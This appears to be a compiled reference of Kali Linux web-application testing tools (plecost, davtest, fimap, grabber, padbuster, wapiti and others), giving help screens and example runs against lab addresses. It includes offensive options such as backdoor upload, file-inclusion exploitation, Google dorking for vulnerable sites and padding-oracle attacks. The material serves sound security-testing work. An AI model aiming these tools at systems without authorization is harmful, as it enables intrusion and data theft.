WordPress finger printer tool, plecost search and retrieve information about the plugins versions installed in WordPress systems. It can analyze a single URL or perform an analysis based on the results indexed by Google. Additionally displays CVE code associated with each plugin, if there. Plecost retrieves the information contained on Web sites supported by WordPress, and also allows a search on the results indexed by Google.
Usage: /usr/bin/plecost [options] [URL | [-l num] -G]
Google search options:
   -l num   : Limit number of results for each plugin in google.
   -G   : Google search mode
Options:
   -n   : Number of plugins to use (Default all - more than 7000).
   -c   : Check plugins only with CVE associated.
   -R file   : Reload plugin list. Use -n option to control the size (This take several minutes)
   -o file   : Output file. (Default "output.txt")
   -i file   : Input plugin list. (Need to start the program)
   -s time   : Min sleep time between two probes. Time in seconds. (Default 10)
   -M time   : Max sleep time between two probes. Time in seconds. (Default 20)
   -t num   : Number of threads. (Default 1)
   -h   : Display help. (More info: http://iniqua.com/labs/)
Examples:
* Reload first 5 plugins list:
       plecost -R plugins.txt -n 5
  * Search vulnerable sites for first 5 plugins:
       plecost -n 5 -G -i plugins.txt
  * Search plugins with 20 threads, sleep time between 12 and 30 seconds for www.example.com:
       plecost -i plugin_list.txt -s 12 -M 30 -t 20 -o results.txt www.example.com
Use 100 plugins (-n 100), sleep for 10 seconds between probes (-s 10) but no more than 15 (-M 15) and use the plugin list (-i /usr/share/plecost/wp_plugin_list.txt) to scan the given URL (192.168.1.202/wordpress):
root@kali:~# plecost -n 100 -s 10 -M 15 -i /usr/share/plecost/wp_plugin_list.txt 192.168.1.202/wordpress
[*] Num of checks set to: 100
---
[*] Input plugin list set to: /usr/share/plecost/wp_plugin_list.txt
[*] Min sleep time set to: 10
[*] Max sleep time set to: 15

==> Results for: 192.168.1.202/wordpress <==
[i] Wordpress version found: 3.9.1
[i] Wordpress last public version: 3.9.1
[*] Search for installed plugins

[i] Plugin found: akismet
   |_Latest version: 2.4.0
   |_ Installed version: 3.0.0
   |_CVE list:
   |___CVE-2009-2334: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2334)
   |___CVE-2007-2714: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2714)
   |___CVE-2006-4743: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4743)
   |___CVE-2009-2334: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2334)
   |___CVE-2007-2714: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2714)
   |___CVE-2006-4743: (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4743)

ua-tester https://code.google.com/p/ua-tester/
automatically check a given URL using a list of standard and non-standard User Agent strings provided by the user (1 per line). The results of these checks are then reported to the user for further manual analysis where required.
The results of these checks are then reported to the user for further manual analysis where
required. Gathered data includes Response Codes, resulting URL in the case of a 30x response,
MD5 and length of response body, and select Server headers.

Results: When in non-verbose mode, only values that do not match the initial reference connection
are reported to the user. If no results are shown for a specific useragent then all results match
the initial reference connection. If you require a full output of all checks regardless of matches
to the reference, please use the verbose setting.

Output: [+] Added Headers, [-] Removed Headers, [!] Altered Headers, [ ] No Change

Usage .:
-u / --url Complete URL
-f / --file <Path to User Agent file> / If no file is provided, -d options must be present
-s / --single provide single user-agent string (may need to be contained within quotes)
-d / --default Select the UA String type(s) to check. Select 1 or more of the following ↵
catagories. (M)obile, (D)esktop, mis(C), (T)ools, (B)ots, e(X)treme [!])

-o / --output <Path to output file> CSV formated output (FILE WILL BE OVERWRITTEN[!])
-v / --verbose results (Displays full headers for each check) >> Recommended
--debug See debug messages (This isn't the switch you're looking for)

Example .:
./UATester.py -u www.example.com -f ./useragentlist.txt -v
./UATester.py -u https://www.wordpress.com
./UATester.py -u http://www.defaultserver.com -v --debug
./UATester.py -u facebook.com -v -d MDBX
./UATester.py -u https://www.google.com -s "MySpecialUserAgent"
./UATester.py -u blog.c22.cc -d MC -o ./output.csv
ua-tester Usage Example

Connect to the URL (-u http://192.168.1.202/joomla) and use mobile device User-Agent strings (-d M) to check for different content:
root@kali:~# ua-tester -u http://192.168.1.202/joomla -d M
_/ User-Agent Tester ↵
_/ AKA: Purple Pimp ↵
_/ ChrisJohnRiley ↵
_/ blog.c22.cc ↵
[>] Performing initial request and confirming stability
[>] Using User-Agent string Mozilla/5.0
[ ] URL (ENTERED): http://192.168.1.202/joomla
[!] URL (FINAL): http://192.168.1.202/joomla/
[!] Response Code: 301 Moved Permanently
[ ] Date: Fri, 16 May 2014 20:25:31 GMT
[ ] Server: Apache/2.2.22 (Debian)
[ ] X-Powered-By: PHP/5.4.4-14+deb7u9
[ ] Set-Cookie: c8af288c8bfe7241582aabcb2906ad43=kj3bm3h7vp9j4imdfi17h8c081; path=/; HttpOnly
[ ] P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
[ ] Expires: Mon, 1 Jan 2001 00:00:00 GMT
[ ] Last-Modified: Fri, 16 May 2014 20:25:31 GMT
[ ] Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
[ ] Pragma: no-cache
[ ] Vary: Accept-Encoding
[ ] Content-Length: 6005
[ ] Connection: close
[ ] Content-Type: text/html; charset=utf-8
[ ] Data (MD5): d9febdb6fdb1874beae05dcbf410a95d

[1] Pass
[2] Pass
[3] Pass
[>] URL appears stable. Beginning test
[>] Using DEFAULT User-Agent Strings
[>] Using Mobile User-Agent Strings
[>] Output: [+] Added Headers, [-] Removed Headers, [!] Altered Headers, [ ] No Change
[>] User-Agent String : Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3
[!] Last-Modified: Fri, 16 May 2014 20:25:38 GMT
[>] User-Agent String : Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10
[!] Last-Modified: Fri, 16 May 2014 20:25:38 GMT
[>] User-Agent String : Mozilla/5.0 (Linux; U; Android 2.1-update1; en-at; HTC Hero Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
[!] Last-Modified: Fri, 16 May 2014 20:25:38 GMT
[>] User-Agent String : jBrowser-WAP
[!] Last-Modified: Fri, 16 May 2014 20:25:38 GMT
[>] User-Agent String : Nokia7650/1.0 Symbian-QP/6.1 Nokia/2.1
[!] Last-Modified: Fri, 16 May 2014 20:25:38 GMT
[>] That's all folks... Fo' Shizzle!

wpscan see previous entry

Web Application Proxies submenu
burpsuite - **see previous entry**
paros **see previous entry**

proxystrike - http://www.edge-security.com/proxystrike.php - put with other OWASP gui apps
ProxyStrike is an active Web Application Proxy. It's a tool designed to find vulnerabilities while browsing an application. It was created because the problems we faced in the pentests of web applications that depends heavily on Javascript, not many web scanners did it good in this stage, so we came with this proxy.

Right now it has available Sql injection and XSS plugins. Both plugins are designed to catch as many vulnerabilities as we can, it's that why the SQL Injection plugin is a Python port of the great DarkRaver "Sqlibf".

The process is very simple, ProxyStrike runs like a proxy listening in port 8008 by default, so you have to browse the desired web site setting your browser to use ProxyStrike as a proxy, and ProxyStrike will analyze all the paremeters in background mode. For the user is a passive proxy because you won't see any different in the behaviour of the application, but in the background is very active. :)

Some features:

- Plugin engine (Create your own plugins!)
- Request interceptor
- Request diffing
- Request repeater
- Automatic crawl process
- Http request/response history
- Request parameter stats
- Request parameter values stats
- Request url parameter signing and header field signing
- Use of an alternate proxy (tor for example ;D)
- Sql attacks (plugin)
- Server Side Includes (plugin)
- Xss attacks (plugin)
- Attack logs
- Export results to HTML or XML

Web Vulnerability Scanners submenu

cadaver - www.webdav.org/cadaver/
cadaver is a command-line WebDAV client for Unix. It supports file upload, download, on-screen display, namespace operations (move/copy), collection creation and deletion, and locking operations.
[WebDAV stands for "Web-based Distributed Authoring and Versioning". It is a set of extensions to the HTTP protocol which allows users to collaboratively edit and manage files on remote web servers.]

cadaver [-et][-V][-h] http://hostname[:port]/path
Description
cadaver supports file upload, download, on-screen display, namespace operations (move and copy), collection creation and deletion, and locking operations.

Its operation is similar to the standard BSD ftp(1) client and the Samba Project's smbclient(1). A user familiar with these tools should be quite comfortable with cadaver.
Options
-e, --expect100 Enable sending of 'Expect: 100-continue' header.
-t, --tolerant Allow cd/open into non-WebDAV enabled collection; use if the server or proxy server has WebDAV compliance problems.
-V, --version Display version information and exit.
-h, --help Display this help message and exit.

Command Reference
ls [path] List contents of current [or other] collection
cd path Change to specified collection
pwd Display name of current collection
put local [remote] Upload local file
get remote [local] Download remote resource
mget remote... Download many remote resources
mput local... Upload many local files
edit resource Edit given resource
less remote... Display remote resource through pager
mkcol remote... Create remote collection(s)
cat remote... Display remote resource(s)
delete remote... Delete non-collection resource(s)
rmcol remote... Delete remote collections and ALL contents
copy source... dest Copy resource(s) from source to dest
move source... dest Move resource(s) from source to dest
lock resource Lock given resource
unlock resource Unlock given resource
discover resource Display lock information for resource
steal resource Steal lock token for resource
showlocks Display list of owned locks
propnames res Names of properties defined on resource
chexec [+|-] remote Change isexecutable property of resource
propget res [propname] Retrieve properties of resource
propset res propname value Set property on resource
set [option] [value] Set an option, or display options
open URL Open connection to given URL
close Close current connection
quit Exit program
unset [option] [value] Unsets or clears value from option.
lcd [directory] Change local working directory
lls [options] Display local directory listing
lpwd Print local working directory
logout Logout of authentication session
help [command] Display help message

Examples
cadaver http://dav.example.com/

Connects to the server myserver.example.com, opening the root collection.
cadaver http://zope.example.com:8022/Users/fred/
Connects to the server zope.example.com using port 8022, opening the collection "/Users/fred/".
cadaver https://secure.example.com/
Connects to a server called secure.example.com using SSL.

Files
~/.cadaverrc Individual user settings that can override cadaver defaults.

clusterd - see previous entry

davtest - https://code.google.com/p/davtest/
DAVTest tests WebDAV enabled servers by uploading test executable files, and then (optionally) uploading files which allow for command execution or other actions directly on the target. It is meant for penetration testers to quickly and easily determine if enabled DAV services are exploitable.
DAVTest supports:
Automatically send exploit files
Automatic randomization of directory to help hide files
Send text files and try MOVE to executable name
Basic and Digest authorization
Automatic clean-up of uploaded files
Send an arbitrary file

/usr/bin/davtest -url <url> [options]
-auth+ Authorization (user:password)
-cleanup delete everything uploaded when done
-directory+ postfix portion of directory to create
-debug+ DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)
-move PUT text files then MOVE to executable
-nocreate don't create a directory
-quiet only print out summary
-rand+ use this instead of a random string for filenames
-sendbd+ send backdoors:
auto - for any succeeded test
ext - extension matching file name(s) in backdoors/ dir
-uploadfile+ upload this file (requires -uploadloc)
-uploadloc+ upload file to this location/name (requires -uploadfile)
-url+ url of DAV location

Example: /usr/bin/davtest -url http://localhost/davdir
davtest Usage Example

Scan the given WebDAV server (-url http://192.168.1.209):
root@kali:~# davtest -url http://192.168.1.209
****
Testing DAV connection
OPEN SUCCEED: http://192.168.1.209
****
NOTE Random string for this session: B0yG9nhdFS8gox
****
Creating directory
MKCOL SUCCEED: Created http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox
****
Sending test files
PUT asp FAIL
PUT cgi FAIL
PUT txt SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.txt
PUT pl SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.pl
PUT jsp SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.jsp
PUT cfm SUCCEED: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.cfm
PUT aspx FAIL

```
PUT jhtml   SUCCEED:    http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.jhtml
PUT php SUCCEED:    http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.php
PUT html    SUCCEED:    http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.html
PUT shtml   FAIL
**********************************************************
 Checking for test file execution
EXEC    txt SUCCEED:    http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.txt
EXEC    pl  FAIL
EXEC    jsp FAIL
EXEC    cfm FAIL
EXEC    jhtml   FAIL
EXEC    php FAIL
EXEC    html    SUCCEED:    http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.html

**********************************************************
/usr/bin/davtest Summary:
Created: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.txt
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.pl
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.jsp
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.cfm
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.jhtml
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.php
PUT File: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.html
Executes: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.txt
Executes: http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.html
```

deblaze - https://github.com/SpiderLabs/deblaze

Through the use of the Flex programming model and the ActionScript language, Flash Remoting was born. Flash applications can make request to a remote server to call server side functions, such as looking up accounts, retrieving additional data and graphics, and performing complex business operations. However, the ability to call remote methods also increases the attack surface exposed by these applications. This tool will allow you to perform method enumeration and interrogation against flash remoting end points. Deblaze came about as a necessity during a few security assessments of flash based websites that made heavy use of flash remoting. I needed something to give me the ability to dig a little deeper into the technology and identify security holes. On all of the servers I've seen so far the names are not case sensitive, making it much easier to bruteforce. Often times HTTP POST requests won't be logged by the server, so bruteforcing may go unnoticed on poorly monitored systems.

Deblaze provides the following functionality:

- Brute Force Service and Method Names
- Method Interrogation
- Flex Technology Fingerprinting

fimap - https://code.google.com/p/fimap/

Python tool which can find, prepare, audit, exploit and even google automaticly for local and remote file inclusion bugs in webapps. fimap should be something like sqlmap just for LFI/RFI bugs instead of sql injection

```
fimap v.09 (For the Swarm)
:: Automatic LFI/RFI scanner and exploiter
:: by Iman Karim (fimap.dev@gmail.com)

Usage: ./fimap.py [options]
## Operating Modes:
  -s , --single             Mode to scan a single URL for FI errors.
                          Needs URL (-u). This mode is the default.
  -m , --mass               Mode for mass scanning. Will check every URL
                          from a given list (-l) for FI errors.
  -g , --google             Mode to use Google to aquire URLs.
                          Needs a query (-q) as google search query.
  -H , --harvest            Mode to harvest a URL recursivly for new URLs.
```

```
                        Needs a root url (-u) to start crawling there.
                        Also needs (-w) to write a URL list for mass mode.
  -4 , --autoawesome          With the AutoAwesome mode fimap will fetch all
                        forms and headers found on the site you defined
                        and tries to find file inclusion bugs thru them. Needs an
                        URL (-u).
## Techniques:
  -b , --enable-blind         Enables blind FI-Bug testing when no error messages are printed.
                        Note that this mode will cause lots of requests compared to the
                        default method. Can be used with -s, -m or -g.
  -D , --dot-truncation       Enables dot truncation technique to get rid of the suffix if
                        the default mode (nullbyte poison) failed. This mode can cause
                        tons of requests depending how you configure it.
                        By default this mode only tests windows servers.
                        Can be used with -s, -m or -g. Experimental.
  -M , --multiply-term=X      Multiply terminal symbols like '.' and '/' in the path by X.
## Variables:
  -u , --url=URL              The URL you want to test.
                        Needed in single mode (-s).
  -l , --list=LIST            The URL-LIST you want to test.
                        Needed in mass mode (-m).
  -q , --query=QUERY          The Google Search QUERY.
                        Example: 'inurl:include.php'
                        Needed in Google Mode (-g)
      --skip-pages=X          Skip the first X pages from the Googlescanner.
  -p , --pages=COUNT          Define the COUNT of pages to search (-g).
                        Default is 10.
      --results=COUNT         The count of results the Googlescanner should get per page.
                        Possible values: 10, 25, 50 or 100(default).
      --googlesleep=TIME      The time in seconds the Googlescanner should wait befor each
                        request to google. fimap will count the time between two requests
                        and will sleep if it's needed to reach your cooldown. Default is 5.
  -w , --write=LIST           The LIST which will be written if you have choosen
                        harvest mode (-H). This file will be opened in APPEND mode.
  -d , --depth=CRAWLDEPTH     The CRAWLDEPTH (recurse level) you want to crawl your target site
                        in harvest mode (-H). Default is 1.
  -P , --post=POSTDATA        The POSTDATA you want to send. All variables inside
                        will also be scanned for file inclusion bugs.
      --cookie=COOKIES        Define the cookie which should be send with each request.
                        Also the cookies will be scanned for file inclusion bugs.
                        Concatenate multiple cookies with the ';' character.
      --ttl=SECONDS           Define the TTL (in seconds) for requests. Default is 30 seconds.
      --no-auto-detect        Use this switch if you don't want to let fimap automaticly detect
                        the target language in blind-mode. In that case you will get some
                        options you can choose if fimap isn't sure which lang it is.
      --bmin=BLIND_MIN        Define here the minimum count of directories fimap should walk thru
                        in blind mode. The default number is defined in the generic.xml
      --bmax=BLIND_MAX        Define here the maximum count of directories fimap should walk thru.
      --dot-trunc-min=700     The count of dots to begin with in dot-truncation mode.
      --dot-trunc-max=2000    The count of dots to end with in dot-truncation mode.
      --dot-trunc-step=50     The step size for each round in dot-truncation mode.
      --dot-trunc-ratio=0.095 The maximum ratio to detect if dot truncation was successfull.
      --dot-trunc-also-unix   Use this if dot-truncation should also be tested on unix servers.
      --force-os=OS           Forces fimap to test only files for the OS.
                        OS can be 'unix' or 'windows'
## Attack Kit:
  -x , --exploit              Starts an interactive session where you can
                        select a target and do some action.
  -T , --tab-complete         Enables TAB-Completation in exploit mode. Needs readline module.
                        Use this if you want to be able to tab-complete thru remote
                        files\dirs. Eats an extra request for every 'cd' command.
```

```
## Disguise Kit:
  -A , --user-agent=UA          The User-Agent which should be sent.
      --http-proxy=PROXY        Setup your proxy with this option. But read this facts:
                                * The googlescanner will ignore the proxy to get the URLs,
                                  but the pentest\attack itself will go thru proxy.
                                * PROXY should be in format like this: 127.0.0.1:8080
                                * It's experimental
      --show-my-ip              Shows your internet IP, current country and user-agent.
                                Useful if you want to test your vpn\proxy config.
## Plugins:
      --plugins                 List all loaded plugins and quit after that.
  -I , --install-plugins        Shows some official exploit-mode plugins you can install
                                and\or upgrade.
## Other:
      --update-def              Checks and updates your definition files found in the
                                config directory.
      --test-rfi                A quick test to see if you have configured RFI nicely.
      --merge-xml=XMLFILE       Use this if you have another fimap XMLFILE you want to
                                include to your own fimap_result.xml.
  -C , --enable-color           Enables a colorful output. Works only in linux!
      --force-run               Ignore the instance check and just run fimap even if a lockfile
                                exists. WARNING: This may erase your fimap_results.xml file!
  -v , --verbose=LEVEL          Verbose level you want to receive.
                                LEVEL=3 -> Debug
                                LEVEL=2 -> Info(Default)
                                LEVEL=1 -> Messages
                                LEVEL=0 -> High-Level
      --credits                 Shows some credits.
      --greetings               Some greetings ;)
  -h , --help                   Shows this cruft.
## Examples:
  1. Scan a single URL for FI errors:
      ./fimap.py -u 'http://localhost/test.php?file=bang&id=23'
  2. Scan a list of URLS for FI errors:
      ./fimap.py -m -l '/tmp/urllist.txt'
  3. Scan Google search results for FI errors:
      ./fimap.py -g -q 'inurl:include.php'
  4. Harvest all links of a webpage with recurse level of 3 and
     write the URLs to /tmp/urllist
      ./fimap.py -H -u 'http://localhost' -d 3 -w /tmp/urllist
```

fimap Usage Example

Scan the web application (-u “http://192.168.1.202/index.php”) for file inclusion issues:

```
root@kali:~# fimap -u "http://192.168.1.202/index.php"
fimap v.09 (For the Swarm)
:: Automatic LFI/RFI scanner and exploiter
:: by Iman Karim (fimap.dev@gmail.com)

SingleScan is testing URL: 'http://192.168.1.202/index.php'
```

golisermo - see previous entry
jboss-auto... - see previous entry
joomscan - see previous entry

grabber - http://rgaucher.info/beta/grabber/
Grabber is a web application scanner. Basically it detects some kind of vulnerabilities in your website. Grabber is simple, not fast but portable and really adaptable. This software is designed to scan small websites such as personals, forums etc. absolutely not big application: it would take too long time and flood your network.

Features:

Cross-Site Scripting
SQL Injection (there is also a special Blind SQL Injection module)
File Inclusion
Backup files check
Simple AJAX check (parse every JavaScript and get the URL and try to get the parameters)
Hybrid analysis/Crystal ball testing for PHP application using PHP-SAT
JavaScript source code analyzer: Evaluation of the quality/correctness of the JavaScript with JavaScript Lint
Generation of a file [session_id, time(t)] for next stats analysis.

```
Usage: grabber [options]

Options:
  -h, --help           show this help message and exit
  -u ARCHIVES_URL, --url=ARCHIVES_URL
                       Adress to investigate
  -s, --sql            Look for the SQL Injection
  -x, --xss            Perform XSS attacks
  -b, --bsql           Look for blind SQL Injection
  -z, --backup         Look for backup files
  -d SPIDER, --spider=SPIDER
                       Look for every files
  -i, --include        Perform File Insertion attacks
  -j, --javascript     Test the javascript code ?
  -c, --crystal        Simple crystal ball test.
  -e, --session        Session evaluations
```

grabber Usage Example
Spider the web application to a depth of 1 (–spider 1) and attempt SQL (–sql) and XSS (–xss) attacks at the given URL (–url http://192.168.1.224):

```
root@kali:~# grabber --spider 1 --sql --xss --url http://192.168.1.224
Start scanning... http://192.168.1.224
runSpiderScan @  http://192.168.1.224  |   # 1
Start investigation...
Method = GET  http://192.168.1.224
[Cookie]    0   :   <Cookie PHPSESSID=2742cljd8u6aclfktf1sh284u7 for 192.168.1.224/>
[Cookie]    1   :   <Cookie security=high for 192.168.1.224/>
Method = GET  http://192.168.1.224
[Cookie]    0   :   <Cookie PHPSESSID=2742cljd8u6aclfktf1sh284u7 for 192.168.1.224/>
[Cookie]    1   :   <Cookie security=high for 192.168.1.224/>
```

jsql - https://code.google.com/p/jsql-injection/
A lightweight java application used to find database information from a distant server
Basically, a GUI

padbuster - https://github.com/GDSSecurity/PadBuster
Perl script for automating Padding Oracle Attacks. PadBuster provides the capability to decrypt arbitrary ciphertext, encrypt arbitrary plaintext, and perform automated response analysis to determine whether a request is vulnerable to padding oracle attacks.

```
+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+
   Use: padBuster.pl URL EncryptedSample BlockSize [options]
 Where: URL = The target URL (and query string if applicable)
        EncryptedSample = The encrypted value you want to test. Must
                          also be present in the URL, PostData or a Cookie
        BlockSize = The block size being used by the algorithm
Options:
```

-auth [username:password]: HTTP Basic Authentication
-bruteforce: Perform brute force against the first block
-ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
-cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
-encoding [0-4]: Encoding Format of Sample (Default 0)
0=Base64, 1=Lower HEX, 2=Upper HEX
3=.NET UrlToken, 4=WebSafe Base64
-encodedtext [Encoded String]: Data to Encrypt (Encoded)
-error [Error String]: Padding Error Message
-headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2)
-interactive: Prompt for confirmation on decrypted bytes
-intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
-log: Generate log files (creates folder PadBuster.DDMMYY)
-noencode: Do not URL-encode the payload (encoded by default)
-noiv: Sample does not include IV (decrypt first block)
-plaintext [String]: Plain-Text to Encrypt
-post [Post Data]: HTTP Post Data String
-prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
-proxy [address:port]: Use HTTP/S Proxy
-proxyauth [username:password]: Proxy Authentication
-resume [Block Number]: Resume at this block number
-usebody: Use response body content for response analysis phase
-verbose: Be Verbose
-veryverbose: Be Very Verbose (Debug Only)

nikto - - see previous entry
powerfuzzer - see previous entry
skipfish - see previous entry
wpscan - see previous entry

wapiti - http://wapiti.sourceforge.net/
Wapiti allows you to audit the security of your web applications. It performs "black-box" scans
scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable.

Wapiti can detect the following vulnerabilities :
File disclosure (Local and remote include/require, fopen, readfile...)
Database Injection (PHP/JSP/ASP SQL Injections and XPath Injections)
XSS (Cross Site Scripting) injection (reflected and permanent)
Command Execution detection (eval(), system(), passtru()...)
CRLF Injection (HTTP Response Splitting, session fixation...)
XXE (XmleXternal Entity) injection
Use of know potentially dangerous files (thanks to the Nikto database)
Weak .htaccess configurations that can be bypassed
Presence of backup files giving sensitive information (source code disclosure)

Wapiti supports both GET and POST HTTP methods for attacks.
It also supports multipart and can inject payloads in filenames (upload).
Display a warning when an anomaly is found (for example 500 errors and timeouts)
Makes the difference beetween permanent and reflected XSS vulnerabilities.

General features :
Generates vulnerability reports in various formats (HTML, XML, JSON, TXT...)
Can suspend and resume a scan or an attack
Can give you colors in the terminal to highlight vulnerabilities
Different levels of verbosity
Fast and easy way to activate/deactivate attack modules
Adding a payload can be as easy as adding a line to a text file

Browsing features
Support HTTP and HTTPS proxies

Authentication via several methods : Basic, Digest, Kerberos or NTLM
Ability to restrain the scope of the scan (domain, folder, webpage)
Automatic removal of a parameter in URLs
Safeguards against scan endless-loops (max number of values for a parameter)
Possibility to set the first URLs to explore (even if not in scope)
Can exclude some URLs of the scan and attacks (eg: logout URL)
Import of cookies (get them with the wapiti-cookie and wapiti-getcookie tools)
Can activate / deactivate SSL certificates verification
Extract URLs from Flash SWF files
Try to extract URLs from javascript (very basic JS interpreter)
HTML5 aware (understand recent HTML tags)

Program example is too big to put here: http://wapiti.sourceforge.net/example.txt

Wapiti-2.3.0 - Web application vulnerability scanner
Usage: python wapiti.py http://server.com/base/url/ [options]
Supported options are:
-s <url>
--start <url>
	To specify an url to start with. This option can be called several times.
	Wapiti will browse these links to find more URLs even if the specified link is not in the scope.
-x <url>
--exclude <url>
	To exclude an URL from the scan (eg: logout URLs). This option can be called several times to specify several URLs.
	Wildcards (*) can be used in URLs for basic regex.
	Example : -x http://server/base/?page=*&module=test
	or -x http://server/base/admin/* to exclude a directory.
-p <url_proxy>
--proxy <url_proxy>
	To specify a proxy. Currently supported proxies are HTTP and HTTPS.
	This option can be called twice to specify the HTTP and the HTTPS proxy.
	Example: -p http://proxy:port/
-c <cookie_file>
--cookie <cookie_file>
	To import cookies to use for the scan. The cookie file must be in JSON format.
	Cookies can be grabbed using the cookie.py and getcookie.py utilities (net directory).
-t <timeout>
--timeout <timeout>
	To set the timeout (maximum time in seconds to wait for the server to send a response).
-a <login%password>
--auth <login%password>
	Set credentials for HTTP authentication.
--auth-method <method>
	If the server requires an authentication, set the authentication method to use.
	Currently supported methods are (some requires additional modules to install):
		+ basic
		+ digest
		+ kerberos
		+ ntlm
-r <parameter_name>
--remove <parameter_name>
	Remove a parameter (name and value) from URLs.
-n <limit>
--nice <limit>
	Define a limit of URLs to browse with the same pattern (ie, the maximum number of unique values for the same parameter).
	Use this option to prevent endless loops during scan. Limit must be greater than 0.
-m <module_options>
--module <module_options>
	Set the modules (and HTTP methods for each module) to use for attacks.

Prefix a module name with a dash to deactivate the related module.
To only browse the target (without sending any payloads), deactivate every module with -m "-all".
If you don't specify the HTTP methods, GET and POST will be used.
Example: -m "-all,xss:get,exec:post"

-u
--color
Use colors to highlight vulnerabilities and anomalies in output.

-v <level>
--verbose <level>
Set the verbosity level.
0: quiet (default), 1: print each URL, 2: print every attack.

-b <scope>
--scope <scope>
Set the scope of the scan:
+ page: to analyse only the page given as the root URL.
+ folder: to analyse all the URLs under the root URL passed to Wapiti (default).
+ domain: to analyse all the links to the pages which are in the same domain as the URL passed to Wapiti.

-f <type_file>
--format <type_file>
Set the format type for the report.
json: Report in JSON format
html: Report in HTML format (default)
openvas: Report in OpenVAS XML format
txt: Report in plain text (UTF-8)
vulneranet: Report in VulneraNET (XML based) format
xml: Report in XML format

-o <output>
--output <output_file>
Set the name of the report file.
If the selected report format is 'html', this parameter will be used as a directory name

-i <file>
--continue <file>
This parameter indicates to Wapiti to resume the previous scan saved in the specified XML status file.
The file name is optional, if not specified, Wapiti takes the default file from the "scans" folder.

-k <file>
--attack <file>
This parameter indicates to Wapiti to resume the attacks without scanning the website again, loading the scan status from the specified file.
The file name is optional, if it is not specified, Wapiti takes the default file from the "scans" folder.

--verify-ssl <0|1>
This parameter indicates whether Wapiti must check SSL certificates.
Default is to verify certificates

-h
--help
To print this usage message

whatweb - http://whatweb.net/ - https://github.com/urbanadventurer/whatweb

Recognises web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices.
WhatWeb has over 1000 plugins, each to recognise something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more.
WhatWeb can be stealthy and fast, or thorough but slow. WhatWeb supports an aggression level to control the trade off between speed and reliability. When you visit a website in your browser, the transaction includes many hints of what web technologies are powering that website. Sometimes a single webpage visit contains enough information to identify a website but when it does not, WhatWeb can interrogate the website further. The default level of aggression, called 'passive', is the fastest and requires only one HTTP request of a website. This is suitable for scanning public websites. More aggressive modes were developed for in penetration tests.

Most WhatWeb plugins are thorough and recognise a range of cues from subtle to obvious. For example, most WordPress websites can be identified by the meta HTML tag, e.g. '<meta name="generator" content="WordPress 2.6.5">', but a minority of WordPress websites remove this identifying tag but this does not thwart WhatWeb. The WordPress WhatWeb plugin has over 15 tests, which include checking the favicon, default installation files, login pages, and checking for "/wp-content/" within relative links.

Features:

* Over 1000 plugins
* Control the trade off between speed/stealth and reliability
* Performance tuning. Control how many websites to scan concurrently.
* Multiple log formats: Brief (greppable), Verbose (human readable), XML, JSON, MagicTree, RubyObject, MongoDB, SQL.
* Proxy support including TOR
* Custom HTTP headers
* Basic HTTP authentication
* Control over webpage redirection
* Nmap-style IP ranges
* Fuzzy matching
* Result certainty awareness
* Custom plugins defined on the command line

OPTIONS

